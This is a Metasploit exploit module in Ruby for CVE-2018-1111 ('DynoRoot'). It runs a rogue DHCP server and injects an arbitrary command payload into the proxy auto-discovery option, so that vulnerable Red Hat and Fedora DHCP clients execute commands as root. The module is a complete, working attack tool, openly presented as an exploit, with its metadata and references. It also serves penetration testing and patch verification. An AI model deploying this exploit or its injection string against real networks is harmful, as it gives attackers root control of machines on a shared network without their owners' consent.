DHCP Client Command Injection (DynoRoot)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DHCPServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DHCP Client Command Injection (DynoRoot)',
        'Description' => %q{
          This module exploits the DynoRoot vulnerability, a flaw in how the
          NetworkManager integration script included in the DHCP client in
          Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
          processes DHCP options. A malicious DHCP server, or an attacker on
          the local network able to spoof DHCP responses, could use this flaw
          to execute arbitrary commands with root privileges on systems using
          NetworkManager and configured to obtain network configuration using
          the DHCP protocol.
        },
        'Author' => [
          'Felix Wilhelm', # Vulnerability discovery
          'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'References' => [
          ['CVE', '2018-1111'],
          ['EDB', '44652'],
          ['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
          ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],
          ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
          ['URL', 'https://dynoroot.ninja/'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
          ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
        ],
        'Targets' => [ [ 'Automatic Target', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2018-05-15',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION],
          'AKA' => ['DynoRoot']
        }
      )
    )

    deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
  end

  def exploit
    hash = datastore.copy
    start_service(hash)
    @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")

    sleep 2 while @dhcp.thread.alive?
  end

  def cleanup
    super
    stop_service
  end
end